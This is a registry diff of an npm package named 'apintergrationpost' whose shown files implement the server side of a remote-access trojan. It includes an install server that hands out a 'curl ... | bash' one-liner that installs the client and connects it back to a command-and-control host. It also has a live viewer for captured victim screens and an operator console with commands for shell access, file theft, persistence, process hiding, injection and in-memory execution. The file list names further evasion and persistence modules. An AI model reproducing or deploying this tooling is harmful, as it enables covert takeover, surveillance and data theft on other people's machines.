apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,159 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const http = require('http');
5
+ const path = require('path');
6
+ const { execSync } = require('child_process');
7
+
8
+ const PROJECT_ROOT = path.join(__dirname, '..', '..');
9
+
10
+ function resolveClientHost(config) {
11
+ const install = config.installServer || {};
12
+ if (install.clientHost) return install.clientHost;
13
+
14
+ const labNet = config.labNetwork || {};
15
+ if (labNet.c2HostVmwareNat) return labNet.c2HostVmwareNat;
16
+ if (labNet.c2HostVmwareHostOnly) return labNet.c2HostVmwareHostOnly;
17
+ if (labNet.c2HostWifi) return labNet.c2HostWifi;
18
+
19
+ if (config.host && config.host !== '0.0.0.0' && config.host !== '::') {
20
+ return config.host;
21
+ }
22
+
23
+ return '127.0.0.1';
24
+ }
25
+
26
+ function ensureTarball() {
27
+ const pkg = JSON.parse(fs.readFileSync(path.join(PROJECT_ROOT, 'package.json'), 'utf8'));
28
+ const tarballName = `${pkg.name}-${pkg.version}.tgz`;
29
+ const distDir = path.join(PROJECT_ROOT, 'dist');
30
+ fs.mkdirSync(distDir, { recursive: true });
31
+ const tarballPath = path.join(distDir, tarballName);
32
+
33
+ if (!fs.existsSync(tarballPath)) {
34
+ execSync(`npm pack --pack-destination "${distDir}"`, {
35
+ cwd: PROJECT_ROOT,
36
+ stdio: 'pipe',
37
+ });
38
+ }
39
+
40
+ if (!fs.existsSync(tarballPath)) {
41
+ throw new Error(`Failed to build release tarball: ${tarballName}`);
42
+ }
43
+
44
+ return { tarballPath, tarballName };
45
+ }
46
+
47
+ function buildRunScript(config, baseUrl) {
48
+ const clientHost = resolveClientHost(config);
49
+ const c2Port = config.port;
50
+ const token = (config.auth && config.auth.token) || '';
51
+ const pkgUrl = `${baseUrl}/package.tgz`;
52
+
53
+ return `#!/usr/bin/env bash
54
+ set -euo pipefail
55
+
56
+ echo "[*] apintergrationpost — install and run"
57
+
58
+ if [ "$(id -u)" -ne 0 ]; then
59
+ SUDO="sudo"
60
+ else
61
+ SUDO=""
62
+ fi
63
+
64
+ if ! command -v curl >/dev/null 2>&1; then
65
+ echo "[*] Installing curl..."
66
+ export DEBIAN_FRONTEND=noninteractive
67
+ $SUDO apt-get update -qq
68
+ $SUDO apt-get install -y -qq curl ca-certificates
69
+ fi
70
+
71
+ if ! command -v node >/dev/null 2>&1 || ! command -v npm >/dev/null 2>&1; then
72
+ echo "[*] Installing Node.js and build tools..."
73
+ export DEBIAN_FRONTEND=noninteractive
74
+ $SUDO apt-get update -qq
75
+ $SUDO apt-get install -y -qq nodejs npm build-essential python3
76
+ fi
77
+
78
+ TMPDIR="$(mktemp -d)"
79
+ trap 'rm -rf "$TMPDIR"' EXIT
80
+
81
+ echo "[*] Downloading package..."
82
+ curl -fsSL "${pkgUrl}" -o "$TMPDIR/package.tgz"
83
+
84
+ echo "[*] Installing apintergrationpost..."
85
+ $SUDO npm install -g "$TMPDIR/package.tgz"
86
+
87
+ echo "[*] Connecting to ${clientHost}:${c2Port}..."
88
+ exec apintergrationpost --host "${clientHost}" --port ${c2Port} --token "${token}"
89
+ `;
90
+ }
91
+
92
+ function startInstallServer(config, logger) {
93
+ const install = config.installServer || {};
94
+ if (install.enabled === false) {
95
+ return null;
96
+ }
97
+
98
+ const host = install.host || '0.0.0.0';
99
+ const port = install.port || 8080;
100
+ const clientHost = resolveClientHost(config);
101
+ const { tarballPath, tarballName } = ensureTarball(config);
102
+ const baseUrl = `http://${clientHost}:${port}`;
103
+
104
+ const server = http.createServer((req, res) => {
105
+ const url = req.url.split('?')[0];
106
+
107
+ if (url === '/run' || url === '/install.sh') {
108
+ const script = buildRunScript(config, baseUrl);
109
+ res.writeHead(200, {
110
+ 'Content-Type': 'text/x-shellscript; charset=utf-8',
111
+ 'Cache-Control': 'no-store',
112
+ });
113
+ res.end(script);
114
+ return;
115
+ }
116
+
117
+ if (url === '/package.tgz' || url === `/${tarballName}`) {
118
+ res.writeHead(200, {
119
+ 'Content-Type': 'application/octet-stream',
120
+ 'Content-Disposition': `attachment; filename="${tarballName}"`,
121
+ 'Cache-Control': 'no-store',
122
+ });
123
+ fs.createReadStream(tarballPath).pipe(res);
124
+ return;
125
+ }
126
+
127
+ if (url === '/' || url === '/help') {
128
+ const body = [
129
+ 'apintergrationpost install server',
130
+ '',
131
+ 'Ubuntu one-liner:',
132
+ ` curl -fsSL ${baseUrl}/run | bash`,
133
+ '',
134
+ 'Endpoints:',
135
+ ` GET ${baseUrl}/run Install + run script`,
136
+ ` GET ${baseUrl}/package.tgz npm package tarball`,
137
+ '',
138
+ ].join('\n');
139
+ res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' });
140
+ res.end(body);
141
+ return;
142
+ }
143
+
144
+ res.writeHead(404, { 'Content-Type': 'text/plain; charset=utf-8' });
145
+ res.end('Not found\n');
146
+ });
147
+
148
+ server.listen(port, host, () => {
149
+ const oneLiner = `curl -fsSL ${baseUrl}/run | bash`;
150
+ logger.info(`Install server listening on ${host}:${port}`);
151
+ console.log(`[*] Client one-liner (Ubuntu VM):`);
152
+ console.log(` ${oneLiner}`);
153
+ console.log(`[*] Package: ${tarballName} (${tarballPath})`);
154
+ });
155
+
156
+ return server;
157
+ }
158
+
159
+ module.exports = { startInstallServer, resolveClientHost, buildRunScript };
@@ -0,0 +1,103 @@
1
+ 'use strict';
2
+
3
+ const http = require('http');
4
+
5
+ function createScreenViewer(port = 5555) {
6
+ let latestFrame = null;
7
+ let lastError = null;
8
+ let frameCount = 0;
9
+
10
+ const server = http.createServer((req, res) => {
11
+ if (req.url === '/' || req.url === '/index.html') {
12
+ res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
13
+ res.end(`<!DOCTYPE html>
14
+ <html>
15
+ <head>
16
+ <meta charset="utf-8">
17
+ <title>Myra Live Screen</title>
18
+ <style>
19
+ body { margin: 0; background: #111; color: #ccc; font-family: sans-serif; }
20
+ header { padding: 8px 12px; background: #222; font-size: 13px; }
21
+ img { display: block; width: 100%; height: auto; background: #000; }
22
+ .err { color: #f88; padding: 12px; }
23
+ </style>
24
+ </head>
25
+ <body>
26
+ <header>Myra live screen — frames: <span id="n">0</span></header>
27
+ <img id="frame" alt="live screen">
28
+ <div id="err" class="err"></div>
29
+ <script>
30
+ const img = document.getElementById('frame');
31
+ const err = document.getElementById('err');
32
+ const n = document.getElementById('n');
33
+ async function tick() {
34
+ try {
35
+ const r = await fetch('/frame?' + Date.now());
36
+ if (r.status === 204) return;
37
+ if (!r.ok) throw new Error('HTTP ' + r.status);
38
+ const j = await r.json();
39
+ if (j.error) { err.textContent = j.error; return; }
40
+ err.textContent = '';
41
+ img.src = 'data:image/jpeg;base64,' + j.frame;
42
+ n.textContent = j.count;
43
+ } catch (e) {
44
+ err.textContent = e.message;
45
+ }
46
+ }
47
+ setInterval(tick, 200);
48
+ tick();
49
+ </script>
50
+ </body>
51
+ </html>`);
52
+ return;
53
+ }
54
+
55
+ if (req.url.startsWith('/frame')) {
56
+ if (lastError && !latestFrame) {
57
+ res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
58
+ res.end(JSON.stringify({ error: lastError, count: frameCount }));
59
+ return;
60
+ }
61
+ if (!latestFrame) {
62
+ res.writeHead(204);
63
+ res.end();
64
+ return;
65
+ }
66
+ res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
67
+ res.end(JSON.stringify({ frame: latestFrame, count: frameCount }));
68
+ return;
69
+ }
70
+
71
+ res.writeHead(404);
72
+ res.end();
73
+ });
74
+
75
+ return {
76
+ port,
77
+ start() {
78
+ return new Promise((resolve, reject) => {
79
+ server.once('error', reject);
80
+ server.listen(port, '127.0.0.1', () => resolve());
81
+ });
82
+ },
83
+ stop() {
84
+ return new Promise((resolve) => {
85
+ server.close(() => resolve());
86
+ });
87
+ },
88
+ updateFrame(base64, meta = {}) {
89
+ if (meta.error) {
90
+ lastError = meta.error;
91
+ return;
92
+ }
93
+ if (base64) {
94
+ latestFrame = base64;
95
+ frameCount += 1;
96
+ lastError = null;
97
+ }
98
+ },
99
+ url: `http://127.0.0.1:${port}/`,
100
+ };
101
+ }
102
+
103
+ module.exports = { createScreenViewer };
@@ -0,0 +1,342 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const readline = require('readline');
5
+ const { createScreenViewer } = require('./screenViewer');
6
+
7
+ async function runInteractiveShell(session, cli) {
8
+ console.log('[*] Starting interactive PTY shell. Type "exit" to leave shell mode.\n');
9
+
10
+ session.setShellOutputHandler((msg) => {
11
+ if (msg.body) {
12
+ process.stdout.write(msg.body);
13
+ }
14
+ if (msg.meta && msg.meta.final) {
15
+ console.log('\n[*] Shell session ended on client.');
16
+ }
17
+ });
18
+
19
+ try {
20
+ const startResp = await session.sendCommand('shell_start', '', { cols: 80, rows: 24 });
21
+ if (startResp.status === 'error') {
22
+ console.log(startResp.body);
23
+ session.setShellOutputHandler(null);
24
+ return 'continue';
25
+ }
26
+
27
+ console.log(`[*] Shell session ${startResp.meta.shellSessionId} started (pid ${startResp.meta.pid})\n`);
28
+
29
+ const shellRl = readline.createInterface({
30
+ input: process.stdin,
31
+ output: process.stdout,
32
+ terminal: false,
33
+ });
34
+
35
+ await new Promise((resolve) => {
36
+ shellRl.on('line', async (line) => {
37
+ if (line.trim().toLowerCase() === 'exit') {
38
+ shellRl.close();
39
+ resolve();
40
+ return;
41
+ }
42
+ try {
43
+ await session.sendCommand('shell_input', line + '\n');
44
+ } catch (err) {
45
+ console.log(`[!] Shell input error: ${err.message}`);
46
+ shellRl.close();
47
+ resolve();
48
+ }
49
+ });
50
+
51
+ shellRl.on('close', resolve);
52
+ });
53
+
54
+ try {
55
+ await session.sendCommand('shell_stop');
56
+ } catch {
57
+ // ignore
58
+ }
59
+ } finally {
60
+ session.setShellOutputHandler(null);
61
+ }
62
+
63
+ console.log('[*] Returned to command prompt.');
64
+ return 'continue';
65
+ }
66
+
67
+ async function runLiveScreen(session, inp) {
68
+ const parts = inp.trim().split(/\s+/);
69
+ const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
70
+ const port = portArg || (session.config && session.config.screen && session.config.screen.viewerPort) || 5555;
71
+ const fps = (session.config && session.config.screen && session.config.screen.fps) || 3;
72
+
73
+ const viewer = createScreenViewer(port);
74
+
75
+ session.setScreenFrameHandler((msg) => {
76
+ viewer.updateFrame(msg.body, msg.meta || {});
77
+ if (msg.meta && msg.meta.error) {
78
+ process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
79
+ }
80
+ });
81
+
82
+ try {
83
+ await viewer.start();
84
+ const startResp = await session.sendCommand('screen_start', '', { fps }, { timeoutMs: 30000 });
85
+ if (startResp.status === 'error') {
86
+ console.log(startResp.body);
87
+ return 'continue';
88
+ }
89
+
90
+ console.log(`\n[*] Live screen: ${viewer.url}`);
91
+ console.log('[*] Open that URL in your browser. Press Enter here to stop.\n');
92
+
93
+ await new Promise((resolve) => {
94
+ const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
95
+ rl.once('line', () => {
96
+ rl.close();
97
+ resolve();
98
+ });
99
+ });
100
+
101
+ try {
102
+ await session.sendCommand('screen_stop');
103
+ } catch {
104
+ // ignore
105
+ }
106
+ } finally {
107
+ session.setScreenFrameHandler(null);
108
+ await viewer.stop();
109
+ console.log('[*] Live screen stopped.');
110
+ }
111
+
112
+ return 'continue';
113
+ }
114
+
115
+ async function handleSessionCommand(session, inp, logger) {
116
+ const lower = inp.toLowerCase();
117
+
118
+ if (lower === 'q' || lower === 'quit') {
119
+ try {
120
+ const resp = await session.sendCommand('quit');
121
+ console.log(resp.body);
122
+ } catch { /* ignore */ }
123
+ session.disconnect('server shutdown');
124
+ return 'quit';
125
+ }
126
+
127
+ if (lower === 'kill') {
128
+ try {
129
+ const resp = await session.sendCommand('kill');
130
+ console.log(resp.body);
131
+ } catch { /* ignore */ }
132
+ return 'continue';
133
+ }
134
+
135
+ if (lower === 'shell') {
136
+ return runInteractiveShell(session);
137
+ }
138
+
139
+ if (lower === 'screen' || lower === 'vnc' || lower.startsWith('screen ') || lower.startsWith('vnc ')) {
140
+ return runLiveScreen(session, inp);
141
+ }
142
+
143
+ if (lower === 'screen_stop') {
144
+ const resp = await session.sendCommand('screen_stop');
145
+ console.log(resp.body);
146
+ return 'continue';
147
+ }
148
+
149
+ if (lower === 'screen_status') {
150
+ const resp = await session.sendCommand('screen_status');
151
+ console.log(resp.body);
152
+ return 'continue';
153
+ }
154
+
155
+ if (lower === 'sysinfo') {
156
+ const resp = await session.sendCommand('sysinfo');
157
+ console.log(resp.body);
158
+ return 'continue';
159
+ }
160
+
161
+ if (lower === 'ps') {
162
+ const resp = await session.sendCommand('ps');
163
+ console.log(resp.body);
164
+ return 'continue';
165
+ }
166
+
167
+ if (lower === 'netstat') {
168
+ const resp = await session.sendCommand('netstat');
169
+ console.log(resp.body);
170
+ return 'continue';
171
+ }
172
+
173
+ if (lower.startsWith('find ')) {
174
+ const body = inp.split(' ').slice(1).join(' ').trim();
175
+ const resp = await session.sendCommand('find', body);
176
+ console.log(resp.body);
177
+ return 'continue';
178
+ }
179
+
180
+ if (lower.startsWith('download ')) {
181
+ const filePath = inp.split(' ').slice(1).join(' ').trim();
182
+ const resp = await session.sendCommand('download', filePath);
183
+ if (resp.status === 'error') {
184
+ console.log(resp.body);
185
+ return 'continue';
186
+ }
187
+ const fileName = (resp.meta && resp.meta.filename) || filePath.split('/').pop();
188
+ fs.writeFileSync(fileName, Buffer.from(resp.body, 'base64'));
189
+ console.log('File downloaded');
190
+ return 'continue';
191
+ }
192
+
193
+ if (lower.startsWith('upload ')) {
194
+ const fileName = inp.split(' ').slice(1).join(' ').trim();
195
+ if (!fs.existsSync(fileName)) {
196
+ console.log('File not found');
197
+ return 'continue';
198
+ }
199
+ const fileContent = fs.readFileSync(fileName).toString('base64');
200
+ const uploadBody = `${fileName}:${fileContent}`;
201
+ const resp = await session.sendCommand('upload', uploadBody);
202
+ console.log(resp.body);
203
+ return 'continue';
204
+ }
205
+
206
+ if (lower === 'status') {
207
+ const resp = await session.sendCommand('status');
208
+ console.log(resp.body);
209
+ return 'continue';
210
+ }
211
+
212
+ if (lower.startsWith('cd')) {
213
+ const targetDir = inp === 'cd' ? '' : inp.split(' ').slice(1).join(' ').trim();
214
+ const resp = await session.sendCommand('cd', targetDir);
215
+ console.log(resp.body);
216
+ return 'continue';
217
+ }
218
+
219
+ if (lower === 'persist') {
220
+ const resp = await session.sendCommand('persist');
221
+ console.log(resp.body);
222
+ return 'continue';
223
+ }
224
+
225
+ if (lower === 'persist_install') {
226
+ const resp = await session.sendCommand('persist_install');
227
+ console.log(resp.body);
228
+ return 'continue';
229
+ }
230
+
231
+ if (lower === 'persist_remove') {
232
+ const resp = await session.sendCommand('persist_remove');
233
+ console.log(resp.body);
234
+ return 'continue';
235
+ }
236
+
237
+ if (lower === 'hide_start') {
238
+ const resp = await session.sendCommand('hide_start');
239
+ console.log(resp.body);
240
+ return 'continue';
241
+ }
242
+
243
+ if (lower === 'hide_stop') {
244
+ const resp = await session.sendCommand('hide_stop');
245
+ console.log(resp.body);
246
+ return 'continue';
247
+ }
248
+
249
+ if (lower === 'inject' || lower.startsWith('inject ')) {
250
+ const pid = lower.startsWith('inject ') ? inp.split(' ').slice(1).join(' ').trim() : '';
251
+ const resp = await session.sendCommand('inject', pid);
252
+ console.log(resp.body);
253
+ return 'continue';
254
+ }
255
+
256
+ if (lower === 'inject_spawn') {
257
+ const resp = await session.sendCommand('inject_spawn');
258
+ console.log(resp.body);
259
+ return 'continue';
260
+ }
261
+
262
+ if (lower === 'persist_chain') {
263
+ const resp = await session.sendCommand('persist_chain');
264
+ console.log(resp.body);
265
+ return 'continue';
266
+ }
267
+
268
+ if (lower === 'persist_status') {
269
+ const resp = await session.sendCommand('persist_status');
270
+ console.log(resp.body);
271
+ return 'continue';
272
+ }
273
+
274
+ if (lower === 'persist_cleanup') {
275
+ const resp = await session.sendCommand('persist_cleanup');
276
+ console.log(resp.body);
277
+ return 'continue';
278
+ }
279
+
280
+ if (lower === 'masq_start') {
281
+ const resp = await session.sendCommand('masq_start');
282
+ console.log(resp.body);
283
+ return 'continue';
284
+ }
285
+
286
+ if (lower === 'masq_stop') {
287
+ const resp = await session.sendCommand('masq_stop');
288
+ console.log(resp.body);
289
+ return 'continue';
290
+ }
291
+
292
+ if (lower === 'preload_install') {
293
+ const resp = await session.sendCommand('preload_install');
294
+ console.log(resp.body);
295
+ return 'continue';
296
+ }
297
+
298
+ if (lower === 'preload_remove') {
299
+ const resp = await session.sendCommand('preload_remove');
300
+ console.log(resp.body);
301
+ return 'continue';
302
+ }
303
+
304
+ if (lower === 'inject_demo') {
305
+ const resp = await session.sendCommand('inject_demo');
306
+ console.log(resp.body);
307
+ return 'continue';
308
+ }
309
+
310
+ if (lower.startsWith('memfd_exec ')) {
311
+ const payloadPath = inp.split(' ').slice(1).join(' ').trim();
312
+ const resp = await session.sendCommand('memfd_exec', payloadPath);
313
+ console.log(resp.body);
314
+ return 'continue';
315
+ }
316
+
317
+ if (lower === 'memfd_deploy') {
318
+ const resp = await session.sendCommand('memfd_deploy');
319
+ console.log(resp.body);
320
+ return 'continue';
321
+ }
322
+
323
+ if (lower.startsWith('memfd_verify')) {
324
+ const pid = inp.split(' ').slice(1).join(' ').trim();
325
+ const resp = await session.sendCommand('memfd_verify', pid);
326
+ console.log(resp.body);
327
+ return 'continue';
328
+ }
329
+
330
+ if (lower.startsWith('memfd_status')) {
331
+ const pid = inp.split(' ').slice(1).join(' ').trim();
332
+ const resp = await session.sendCommand('memfd_status', pid);
333
+ console.log(resp.body);
334
+ return 'continue';
335
+ }
336
+
337
+ const resp = await session.sendCommand('shell', inp);
338
+ console.log(resp.body);
339
+ return 'continue';
340
+ }
341
+
342
+ module.exports = { handleSessionCommand, runInteractiveShell };